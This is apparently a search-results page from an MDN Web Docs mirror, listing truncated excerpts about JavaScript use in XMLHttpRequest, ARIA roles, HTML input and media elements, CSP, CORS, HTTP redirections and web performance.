...nd authentication headers. XMLHttpRequest.mozSystemRead only Is a boolean. If true, the same origin policy will not be enforced on the request. XMLHttpRequest.mozBackgroundRequest Is a boolean. It indicates whether or not the object represents a background service request. XMLHttpRequest.mozResponseArrayBuffer Obsolete since Gecko 6 Read only ArrayBuffer. The response to the request, as a
JavaScript typed array. XMLHttpRequest.multipartObsolete since Gecko 22 This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22. Please use Server-Sent Events, Web Sockets, or responseText from progress events instead. Event handlers onreadystatechange as a property of the XMLHttpRequest instance is supported in all browsers. Since then, a number of additional event handlers have been impl...
...request. If the request is asynchronous (which is the default), this method returns as soon as the request is sent. XMLHttpRequest.setRequestHeader() Sets the value of an HTTP request header. You must call setRequestHeader()after open(), but before send(). Non-standard methods XMLHttpRequest.init() Initializes the object for use from C++ code. Warning: This method must not be called from
JavaScript. XMLHttpRequest.openRequest() Initializes a request. This method is to be used from native code; to initialize a request from
JavaScript code, use open() instead. See the documentation for open(). XMLHttpRequest.sendAsBinary() A variant of the send() method that sends binary data. Events abort Fired when a request has been aborted, for example because the program called XMLHttpReques...
ARIA: alert role - Accessibility
s are assertive live regions. Setting role="alert" is equivalent to setting aria-live="assertive" and aria-atomic="true". They don't receive focus, and therefore focus does not need to be managed and no user interaction should be required. The most important thing to know about the alert role is that it is for dynamic content. It is perfect for situations such as when a user fills out a form and
JavaScript is used to add an error message - the alert would immediately read out the message. It should not be used on HTML where the user hasn't interacted with it. For example, if a page loads with multiple visible alerts scattered throughout, none would be read because they are not dynamically triggered. Examples The most basic way to trigger an alert is by adding role="alert" to an element that has ...
...he message. It should not be used on HTML where the user hasn't interacted with it. For example, if a page loads with multiple visible alerts scattered throughout, none would be read because they are not dynamically triggered. Examples The most basic way to trigger an alert is by adding role="alert" to an element that has display: none; by default. ...
...ger an alert is by adding role="alert" to an element that has display: none; by default. When the display value is changed with CSS or
JavaScript, it would automatically trigger the screen reader to read out the content. <p role="alert" style="display: none;">The alert will trigger when the element becomes visible.</p> While triggering an alert via CSS alone is possible, it is better to rely on
JavaScript because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation. With
JavaScript, developers control the adding and removing of alerts as appropriate. <button type="button" onclick="triggerAlert">Trigger alert</button> <p class="alert">The alert will trigger when the button is pressed.</p> ...
ARIA: tab role - Accessibility
es and optionally activates the next tab in the tab list. If the current tab is the last tab in the tab list it activates the first tab. <- Focuses and optionally activates the previous tab in the tab list. If the current tab is the first tab in the tab list it activates the last tab. Delete When allowed removes the currently selected tab from the tab list. Required
JavaScript features While there are ways to build tab-like functionality without
JavaScript, there are no substitute combination of HTML and CSS only that will provide the same set of functionality that's required above for accessible tabs with content. Example This example combines the role tab with tablist and elements with tabpanel to create an interactive group of tabbed content. Here we are enclo...
...with our tablist having an aria-label to label it for assistive technology. Each tab is a button with the attributes previously mentioned. The first tab has tabindex=0 on it, which we will later change to whatever tab has aria-selected=true. All of the tabpanel elements have tabindex=0 to make them tabbable, and all but the currently active one have the hidden attribute, which we will change with
JavaScript. There is some basic styling applied that restyles the buttons and changes the z-index to of tab elements to give the illusion of it connecting to the tabpanel for active elements, and the illusion that inactive elements are behind the active tabpanel. <div class="tabs"> <div role="tablist" aria-label="Sample Tabs"> <button role="tab" aria-selected="true" aria-controls="panel-1" id="tab-1"...
... To accomplish the first, we listen for the keydown event on the tablist. If the event's keyCode is 39 for right arrow or 37 for the left arrow, we react to the event. We start by setting the tabindex of the current tab element to -1,...
ARIA: button role - Accessibility
le, if clicking the button opens a dialog, the focus should move to the dialog. If the button closes a dialog, focus should returns to the button that opened the dialog unless the function performed in the dialog context logically leads to a different element. If the button alters the current context, then focus typically remains on the button, such as muting and unmuting an audio file. Required
JavaScript Features Required event handlers Buttons can be operated by mouse, touch, and keyboard users. For native HTML <button> elements, the button's onclick event fires for mouse clicks and when the user presses Space or Enter while the button has focus. But if another tag is used to create a button, the onclick event only fires when clicked by the mouse cursor, even if role="button" is used. Because ...
...l> <input type="text" id="newName"> <span role="button" tabindex="0" onclick="handleCommand()" onKeyDown="handleCommand()">Add Name</span> CSS [role="button"] { padding: 2px; background-color: navy; color: white; cursor: default; } [role="button"]:hover, [role="button"]:focus, [role="button"]:active { background-color: white; color: navy; } ul { list-style: none; }
JavaScript function handleCommand(event) { // Handles both mouse clicks and keyboard // activate with Enter or Space // Get the new name value from the input element let newNameInput = document.getElementById('newName'); let name = newNameInput.value; newNameInput.value = ''; // clear the text field newNameInput.focus(); // give the text field focus to enable entering and addi...
...eyDown="handleBtnKeyDown(event)"> Mute Audio </span> <audio id="audio" src="https://udn.realityripple.com/samples/41/191d072707.mp3"> Your browser does not support the <code>audio</code> element. ...
Accessibility
ls different people use to interact with the Web, and how we can make accessibility part of our web development workflow. HTML: A good basis for accessibility A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility. CSS and
JavaScript accessibility best practices CSS and
JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and
JavaScript best practices that should be considered to ensure even complex content is as accessible as possible. WAI-ARIA basics Following on from the previous article...
...WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. ...
...ific accessibility considerations. Other documentation Understanding the Web Content Accessibility Guidelines This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing). Keyboard-navigable
JavaScript widgets Until now, web developers who want to make their styled <div> and <span> based widgets accessible have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements which a developer should be aware of. ARIA A collection of articles to learn how to use ARIA to make your HTML documents more accessible. Assistive technology (AT) development A co...
CSS Animations tips and tricks - CSS: Cascading Style Sheets
he "box" class is the basic description of the box's appearance, without any animation information included. The animation details are included in the "changing" class, which says that the @keyframes named "colorchange" should be used over the course of two seconds to animate the box. Note that because of this, the box doesn't start with any animation effects in place, so it won't be animating.
JavaScript content Next we'll look at the
JavaScript that does the work. The meat of this technique is in the play() function, which is called when the user clicks on the "Run" button. function play() { document.querySelector(".box").className = "box"; window.requestAnimationFrame(function(time) { window.requestAnimationFrame(function(time) { document.querySelector(".box").className = "box c...
...cut to its next state. If instead you'd like the animation to complete and then come to a stop you have to try a different approach. The main tricks are: Make your animation as self-contained as possible. This means you should not rely on animation-direction: alternate. Instead you should explicitly write a keyframe animation that goes through the full animation in one forward repetition. ...
...e: Make your animation as self-contained as possible. This means you should not rely on animation-direction: alternate. Instead you should explicitly write a keyframe animation that goes through the full animation in one forward repetition. Use
JavaScript and clear the animation being used when the animationiteration event fires. ...
Creating a cross-browser video player - Developer guides
<a href="video/tears-of-steel-battle-clip-medium.mp4">Download MP4</a> </video> <figcaption>© Blender Foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> Even though this player will define its own custom control set, the controls attribute is still added to the <video> element, and the player's default control set is switched off later with
JavaScript. Doing things this way still allows users who have
JavaScript turned off (for whatever reason) to still have access to the browser's native controls. A poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file. This provides the pla...
...ue="0" min="0"> <span id="progress-bar"></span> </progress> </li> <li><button id="mute" type="button">Mute/Unmute</button></li> <li><button id="volinc" type="button">Vol+</button></li> <li><button id="voldec" type="button">Vol-</button></li> <li><button id="fs" type="button">Fullscreen</button></li> </ul> Each button is given an id so it can be easily accessed with
JavaScript. ...
...een</button></li> </ul> Each button is given an id so it can be easily accessed with
JavaScript. The span within the <progress> element is for browsers that do not support the progress element and will be updated at the same time as progress (this span element won't be visible on browsers that support progress). The controls are initially hidden with a CSS display:none and will be enabled with
JavaScript. Again if a user has
JavaScript disabled, the custom control set will not appear and they can use the browser's default control set unhindered. Of course this custom control set is currently useless and doesn't do a thing: Let's improve the situation with
JavaScript. Using the Media API HTML5 comes with a
JavaScript Media API that allows developers access to and control of HTML5 media. This AP...
Challenge solutions - Developer guides
he lines between /* print only */ and /* end print only */ into a file named style4_print.css. In style4.css, add the following line at the beginning of the file: @import url("style4_print.css") print; Heading hover color Challenge Make the headings turn blue when the mouse pointer is over them. ...
...turn blue when the mouse pointer is over them. Solution The following rule achieves the desired result: h1:hover { color: blue; }
JavaScript Move box to the right Challenge Change the script so that the square jumps to the right by 20 em when its color changes, and jumps back afterwards. Solution Add lines to modify the margin-left property. Be sure to specify it as marginLeft in
JavaScript. ...
...owing rule achieves the desired result: h1:hover { color: blue; }
JavaScript Move box to the right Challenge Change the script so that the square jumps to the right by 20 em when its color changes, and jumps back afterwards. Solution Add lines to modify the margin-left property. Be sure to specify it as marginLeft in
JavaScript. ...
Making content editable - Developer guides
This article provides some information about this functionality. Note: In Firefox 63 Beta/Dev edition, some of the rich-text editing features have been disabled by default, for better cross-browser compatibility. These are object resizing on <img>, <table>, and absolutely-positioned elements; inline table editing to add or remove rows and columns; and the grabber that allows moving of absolutely-positioned elements. See bug 1449564 and Firefox-specific HTML editing UI has been deprecated for additional details. ...
...andard argument, br, for defaultParagraphSeparator since Firefox 55. This is useful if your web application expects the older Firefox behavior, and you don't want to or don't have the time to update it to use the new behavior. You can use the older Firefox behavior with this line: document.execCommand("defaultParagraphSeparator", false, "br"); Security For security reasons, Firefox doesn't let
JavaScript code use clipboard related features (copy, paste, etc.) by default. You can enable them by setting the preferences shown below using about:config: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org"); user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess"); user_pref("capability.policy.al...
...y.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org"); user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess"); user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess"); Example: A simple but complete rich text editor <!doctype html> <html> <head> <title>Rich Text Editor</title> <script type="text/
javascript"> var oDoc, sDefTxt; function initDoc() { oDoc = document.getElementById("textBox"); sDefTxt = oDoc.innerHTML; if (document.compForm.switchMode.checked) { setDocMode(true); } } function formatDoc(sCmd, sValue) { if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); } } function validateMode() { if (!document.compForm.switchMode.checked) { return true ; } al...
HTML5 - Developer guides
5 Text API for <canvas> elements The HTML5 text API is now supported by <canvas> elements. WebGL WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0 that can be used in HTML5 <canvas> elements. SVG An XML-based format of vectorial images that can directly be embedded in the HTML. ...
... History API Allows the manipulation of the browser history. This is especially useful for pages loading interactively new information. ...
... History API Allows the manipulation of the browser history. This is especially useful for pages loading interactively new information. The contentEditable Attribute: Transform your website to a wiki! HTML5 has standardized the contentEditable attribute. Learn more about this feature. ...
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
ou know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under Things that can have color, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a stylesheet, and adding and changing color using
JavaScript code to alter the styles of elements. Specifying colors in stylesheets The easiest way to apply color to elements--and the way you'll usually do it--is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color. Let's take a look at an ...
...r. After finishing up and picking the final color, the color picker's value is displayed. On macOS, you indicate that you've finalized selection of the color by closing the color picker window. HTML The HTML here creates a box that contains a color picker control (with a label created using the <label> element) and an empty paragraph element (<p>) into which we'll output some text from our
JavaScript code. <div id="box"> <label for="colorPicker">Border color:</label> <input type="color" value="#8888ff" id="colorPicker"> <p id="output"></p> </div> CSS The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the
JavaScript below... #box { width: 500px; h...
...t"></p> </div> CSS The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the
JavaScript below... #box { width: 500px; height: 200px; border: 2px solid rgb(245, 220, 225); padding: 4px 6px; font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif" }
JavaScript The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <input type="color"> element. let colorPicker = document.getElementById("colorPicker"); let box = document.getElementById("box"); let output = document.getElementById("output"); box.style.borderColor = colorPicker.value; ...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
o the audio</a> instead.</p> </audio> We offer a substantive and thorough guide to media file types and the audio codecs that can be used within them. Also available is a guide to the codecs supported for video. Other usage notes: If you don't specify the controls attribute, the audio player won't include the browser's default controls. ...
... <audio> elements can't have subtitles or captions associated with them in the same way that <video> elements can. See WebVTT and Audio by Ian Devlin for some useful information and workarounds. A good general source of information on using HTML <audio> is the Video and audio content beginner's tutorial. ...
...and border-radius, padding, margin, etc. You can't however style the individual components inside the audio player (e.g. change the button size or icons, change the font, etc.), and the controls are different across the different browsers. To get a consistent look and feel across browsers, you'll need to create custom controls; these can be marked up and styled in whatever way you want, and then
JavaScript can be used along with the HTMLMediaElement API to wire up their functionality. Video player styling basics provides some useful styling techniques -- it is written in the context of <video>, but much of it is equally applicable to <audio>. Detecting addition and removal of tracks You can detect when tracks are added to and removed from an <audio> element using the addtrack and removetrack eve...
<input type="date"> - HTML: Hypertext Markup Language
e and time formats used in HTML. You can set a default value for the input with a date inside the value attribute, like so: <input type="date" value="2017-06-01"> The displayed date format will differ from the actual value -- the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-mm-dd. You can get and set the date value in
JavaScript with the input element's value and valueAsNumber properties. For example: var dateControl = document.querySelector('input[type="date"]'); dateControl.value = '2017-06-01'; console.log(dateControl.value); // prints "2017-06-01" console.log(dateControl.valueAsNumber); // prints 1496275200000, a UNIX timestamp This code finds the first <input> element whose type is date, and sets its value to 2017...
...or incorrect formats. So we still have a problem. span { position: relative; } span::after { right: -18px; position: absolute; } input:invalid + span::after { content: '?'; } input:valid + span::after { content: '?'; } At the moment, the best way to deal with dates in forms in a cross-browser way is to have the user enter the day, month, and year in separate controls, or to use a
JavaScript library such as jQuery date picker. Examples In this example, we create 2 sets of UI elements for choosing dates: a native <input type="date"> picker and a set of 3 <select> elements for older browsers that don't support the native date input. HTML The HTML looks like so: <form> <div class="nativeDatePicker"> <label for="bday">Enter your birthday:</label> <input type="date"...
... We create a new <input> element, try setting its type to date, then immediately check what its type is -- unsupporting browsers will return text, because the date type falls back to type text. If <input type="date"> isn't supported, we hide the native p...
<input type="search"> - HTML: Hypertext Markup Language
put Supported Common Attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size. IDL attributes value Methods select(), setRangeText(), setSelectionRange(). Value The value attribute contains a DOMString representing the value contained in the search field. You can retrieve this using the HTMLInputElement.value property in
JavaScript. searchTerms = mySearch.value; If no validation constraints are in place for the input (see Validation for more details), the value can be any text string or an empty string (""). Additional attributes In addition to the attributes that operate on all <input> elements regardless of their type, search field inputs support the following attributes: Attribute Description ...
...r an invalid value is specified, the search input has no minimum length. The search field will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. pattern The pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expressi...
... placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels and placeholders in <input>: The Input (Form Input) element for more information. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. size The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since charact...
<input type="tel"> - HTML: Hypertext Markup Language
s specified, the telephone number input has no minimum length. The telephone number field will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. pattern The pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expressi...
... placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels and placeholders in <input>: The Input (Form Input) element for more information. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. size The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since charact...
... var selectElem = document.querySelector("select"); var inputElems = document.querySelectorAll("input"); selectElem.onchange = function() { for(var i = 0; i <...
<input type="text"> - HTML: Hypertext Markup Language
orted Common Attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size IDL attributes list, value Methods select(), setRangeText() and setSelectionRange(). Value The value attribute is a DOMString that contains the current value of the text entered into the text field. You can retrieve this using the value property in
JavaScript. let theText = myTextInput.value; If no validation constraints are in place for the input (see Validation for more details), the value may be an empty string (""). Additional attributes In addition to the attributes that operate on all <input> elements regardless of their type, text inputs support the following attributes: Attribute Description list The id of the...
.... The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. pattern The pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expressi...
... placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels and placeholders in <input>: The Input (Form Input) element for more information. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. size The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since charact...
<video>: The Video Embed element - HTML: Hypertext Markup Language
p4">link to the video</a> instead.</p> </video> We offer a substantive and thorough guide to media file types and the guide to the codecs supported for video. Also available is a guide to audio codecs that can be used with them. Other usage notes: If you don't specify the controls attribute, the video won't include the browser's default controls; you can create your own custom controls using
JavaScript and the HTMLMediaElement API. See Creating a cross-browser video player for more details. To allow precise control over your video (and audio) content, HTMLMediaElements fire many different events. In addition to providing controllability, these events let you monitor the progress of both download and playback of the media, as well as the playback state and position. You can use the object-posi...
...e events let you monitor the progress of both download and playback of the media, as well as the playback state and position. You can use the object-position property to adjust the positioning of the video within the element's frame, and the object-fit property to control how the video's size is adjusted to fit within the frame. To show subtitles/captions along with your video, you can use some
JavaScript along with the <track> element and the WebVTT format. See Adding captions and subtitles to HTML5 video for more information. You can play audio files using a <video> element. This can be useful if, for example, you need to perform audio with a WebVTT transcript, since the <audio> element doesn't allow captions using WebVTT. To test the fallback content on browsers that support the element, you ...
...ide more specific information using the codecs parameter as part of the file's type string. A relatively simple example is video/webm; codecs="vp8, vorbis", which says that the file is a WebM video using VP8 for its video and Vorbis for audio. Server support for video If the MIME type for the video is not set correctly on the server, the video may not show or show a gray box containing an X (if
JavaScript is enabled). If you use Apache Web Server to serve Ogg Theora videos, you can fix this problem by adding the video file type extensions to "video/ogg" MIME type. The most common video file type extensions are ".ogm", ".ogv", or ".ogg". To do this, edit the "mime.types" file in "/etc/apache" or use the "AddType" configuration directive in httpd.conf. AddType video/ogg .ogm AddType video/ogg .ogv...
HTML elements reference - HTML: Hypertext Markup Language
elements and one <img> element to offer alternative versions of an image for different display/device scenarios. <source> The HTML <source> element specifies multiple media resources for the <picture>, the <audio> element, or the <video> element. Scripting In order to create dynamic content and Web applications, HTML supports the use of scripting languages, most prominently
JavaScript. Certain elements support this capability. Element Description <canvas> Use the HTML <canvas> element with either the canvas scripting API or the WebGL API to draw graphics and animations. <noscript> The HTML <noscript> element defines a section of HTML to be inserted if a script type on the page is unsupported or if scripting is currently turned off ...
...canvas scripting API or the WebGL API to draw graphics and animations. <noscript> The HTML <noscript> element defines a section of HTML to be inserted if a script type on the page is unsupported or if scripting is currently turned off in the browser. <script> The HTML <script> element is used to embed executable code or data; this is typically used to embed or refer to
JavaScript code. Demarcating edits These elements let you provide indications that specific parts of the text have been altered. Element Description <del> The HTML <del> element represents a range of text that has been deleted from a document. <ins> The HTML <ins> element represents a range of text that has been added to a document. Table conten...
...Components technology suite--is a placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together. <template> The HTML Content Template (<template>) element is a mechanism for holding HTML that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using
JavaScript. Obsolete and deprecated elements Warning: These are old HTML elements which are deprecated and should not be used. You should never use them in new projects, and should replace them in old projects as soon as you can. They are listed here for informational purposes only. Element Description <acronym> The HTML Acronym Element (<acronym>) allows authors t...
x-ms-acceleratorkey - HTML: Hypertext Markup Language
is feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. ...
... Syntax <button x-ms-acceleratorkey="[explanation of key combination]">...</button> Value The accelerator key combination. ...
... Syntax <button x-ms-acceleratorkey="[explanation of key combination]">...</button> Value The accelerator key combination. ...
Access-Control-Allow-Credentials - HTTP
Credentials are cookies, authorization headers or TLS client certificates. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. ...
... Credentials are cookies, authorization headers or TLS client certificates. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. ...
...eader is not returned with the resource, the response is ignored by the browser and not returned to web content. The Access-Control-Allow-Credentials header works in conjunction with the XMLHttpRequest.withCredentials property or with the credentials option in the Request() constructor of the Fetch API. For a CORS request with credentials, in order for browsers to expose the response to frontend
JavaScript code, both the server (using the Access-Control-Allow-Credentials header) and the client (by setting the credentials mode for the XHR, Fetch, or Ajax request) must indicate that they're opting in to including credentials. Header type Response header Forbidden header name no Syntax Access-Control-Allow-Credentials: true Directives true The only valid value fo...
CSP: style-src - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
...heet" type="text/css" /> <style> #inline-style { background: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loaded using the Link header: Link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet Inline style attributes are also blocked: <div style="display:none">Foo</div> As well as styles that are applied in
JavaScript by setting the style attribute directly, or by setting cssText: document.querySelector('div').setAttribute('style', 'display:none;'); document.querySelector('div').style.cssText = 'display:none;'; However, styles properties that are set directly on the element's style property will not be blocked, allowing users to safely manipulate styles via
JavaScript: document.querySelector('div').style.di...
... Unsafe inline styles Note: Disallowing inline styles and inline scripts is one of the biggest security wins CSP provides. However, if you absolutely have to use it, there are a few mechanisms that will allow them. To allow inline styles, 'unsafe-inline', a nonce-source or a hash-source that matches the inline block can be specified. Content-Security-Policy:...
Redirections in HTTP - HTTP
-readable choices are encouraged to be sent as Link headers with rel=alternate. 304 Not Modified Sent for revalidated conditional requests. Indicates that the cached response is still fresh and can be used. Alternative way of specifying redirections HTTP redirects aren't the only way to define redirections. There are two others: HTML redirections with the <meta> element
JavaScript redirections via the DOM HTML redirections HTTP redirects are the best way to create redirections, but sometimes you don't have control over the server. In that case, try a <meta> element with its http-equiv attribute set to Refresh in the <head> of the page. When displaying the page, the browser will go to the indicated URL. <head> <meta http-equiv="Refresh" content="0; URL=https://example...
... to the indicated URL. <head> <meta http-equiv="Refresh" content="0; URL=https://example.com/"> </head> The content attribute should start with a number indicating how many seconds the browser should wait before redirecting to the given URL. Always set it to 0 for accessibility compliance. Obviously, this method only works with HTML, and cannot be used for images or other types of content.
JavaScript redirections Redirections in
JavaScript are performed by setting a URL string to the window.location property, loading the new page: window.location = "https://example.com/"; Like HTML redirections, this can't work on all resources, and obviously, this will only work on clients that execute
JavaScript. On the other hand, there are more possibilities: for example, you can trigger the redirect o...
...are more possibilities: for example, you can trigger the redirect only if some conditions are met. Order of precedence With three ways to trigger redirections, several ways can be used at the same time. But which is applied first? HTTP redirects always execute first -- they exist when there is not even a transmitted page. HTML redirects (<meta>) execute if there weren't any HTTP redirects.
JavaScript redirects execute last, and only if
JavaScript is enabled. When possible, use HTTP redirects and don't add <meta> element redirects. If someone changes the HTTP redirects but forgets to change the HTML redirects, the redirects will no longer be identical, which could cause an infinite loop or other nightmares. Use cases There are numerous use cases for redirects, but as performance is impacte...
Web media technologies
cle lists the various APIs with links to documentation you may find helpful in mastering them. References HTML These articles cover HTML features for media developers. <audio> The <audio> element is used to play audio in a Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. ...
... <source> The HTML <source> element is used within an <audio> or <video> element to specify source media to present. ...
...d as a way to link media APIs with other HTML and DOM technologies, including <canvas> (for frame grabbing and manipulation), for example. Accessible from
JavaScript as HTMLVideoElement objects. <track> The HTML <track> element can be placed within an <audio> or <video> element to provide a reference to a WebVTT format subtitle or caption track to be used when playing the media. Accessible from
JavaScript as HTMLTrackElement objects. <source> The HTML <source> element is used within an <audio> or <video> element to specify source media to present. Multiple sources can be used to provide the media in different formats, sizes, or resolutions. Accessible from
JavaScript as HTMLSourceElement objects. APIs Media Capabilities API The Media Capabilities API lets you determine the encoding and dec...
Animation performance and frame rate - Web Performance
Animation on the web can be done via SVG,
JavaScript, including <canvas> and WebGL, CSS animation, <video>, animated gifs and even animated PNGs and other image types. The performance cost of animating a CSS property can vary from one property to another, and animating expensive CSS properties can result in jank as the browser struggles to hit a smooth frame rate. For animated media, such as video and animated gifs, the main performance concern is file size - downloading the file size fast enough to not negatively impact performance is the greatest issue. Code based animations, be it CSS, SVG, <canvas>, webGL or other
JavaScript animations, can cause performance issues even if the bandwidth footprint is small. These animations can consume CPU and/or cause jank. While performance is sensitive to...
...se tools you can measure an application's animation frame rate, and diagnose performance bottlenecks if any are found. With CSS animations you specify a number of keyframes, each of which uses CSS to define the appearance of the element at a particular stage of the animation. The browser creates the animation as a transition from each keyframe to the next. Compared with animating elements using
JavaScript, CSS animations can be easier to create. They can also give better performance, as they give the browser more control over when to render frames, and to drop frames if necessary. However, the performance cost of modifying a CSS property can vary from one property to another. It's commonly accepted that 60 frames per second is the rate at which animations will appear smooth. For a rate of 60 fram...
...t the elements to the screen. One last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "Composition". The process a browser uses to paint updated changes to a canvas element is different. In the <canvas> scenario, the page layout is not changing. Rather, the page is being repainted, repeatedly, based on
JavaScript canvas API functions. When a canvas is animating a drawing, the canvas animation can be described as a waterfall consisting of the following steps: These sequenced need to fit into a single frame, since the screen isn't updated until it is complete. CSS property cost In the context of the rendering waterfall, some properties are more expensive than others: Property type Cost E...
Lazy loading - Web Performance
critical for the first render to happen. A practical example would be when, you land on the home page of an e-commerce site which has a link to a cart page/section and all its resources (JS, CSS, images...) are downloaded only when the user navigates to that cart page. Strategies Lazy loading can be applied to multiple resources and through multiple strategies. ...
... CSS By default, CSS is treated as a render blocking resource, so the browser won't render any processed content until the CSSOM is constructed. ...
...nto smaller chunks. This enables sending the minimal code required to provide value upfront, improving page-load times. The rest can be loaded on demand. Entry point splitting: separates code by entry point(s) in the app Dynamic splitting: separates code where dynamic import() statements are used
JavaScript Script type module Any script tag with type="module" is treated like a
JavaScript module and is deferred by default. CSS By default, CSS is treated as a render blocking resource, so the browser won't render any processed content until the CSSOM is constructed. CSS must be thin, delivered as quickly as possible, and the usage media types and queries are advised to unblock rendering. <link href="style.css" rel="stylesheet" media="all"> <link href="portrait.css" rel="st...
The building blocks of responsive design - Progressive web apps (PWAs)
s mentioned above, we used Mozilla Brick, a collection of ready-rolled mobile UI components, in the making of the mobile app layout. In particular, we used the deck component for the nice transition effect between cards when the buttons are pressed. For more on using Brick, read Mozilla Brick: ready made UI components. What's more relevant to this article is that we didn't want the Brick CSS and
JavaScript files being applied to the markup unless we were looking at the mobile app view. To achieve this, we applied the Brick CSS to the page using a separate <link> element with a media attribute: <link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)"> This says that the whole stylesheet will not be linked to the HTML unless the viewport width is 480px or less...
...d to the markup unless we were looking at the mobile app view. To achieve this, we applied the Brick CSS to the page using a separate <link> element with a media attribute: <link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)"> This says that the whole stylesheet will not be linked to the HTML unless the viewport width is 480px or less. Moving on to the
JavaScript, <script> elements don't accept media attributes, so I had to do this a different way. Fortunately there is a
JavaScript construct called window.matchMedia(), which can conditionally run
